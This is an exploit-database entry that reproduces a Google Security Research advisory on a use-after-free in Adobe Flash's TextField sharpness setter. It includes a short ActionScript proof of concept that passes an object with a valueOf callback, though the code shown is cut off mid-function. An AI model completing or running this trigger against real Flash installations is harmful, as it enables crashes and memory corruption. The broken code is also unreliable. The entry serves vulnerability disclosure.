Adobe Flash TextField.sharpness Setter - Use-After-Free

ID 1337DAY-ID-25738
Type zdt
Reporter Google Security Research
Modified 2015-12-18T00:00:00


Exploit for windows platform in category dos / poc

There is a use-after-free in the TextField sharpness setter. If the sharpness parameter is an object with valueOf set to a function which frees the TextField parent, it is used after it is freed.
A minimal PoC is as follows:
var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.sharpness = {valueOf : func};
function func(){
        if(times == 0){
          return 0;
        // Fix heap here
    return 0;
A sample swf and fla are attached.
Proof of Concept:

# [2018-04-09]  #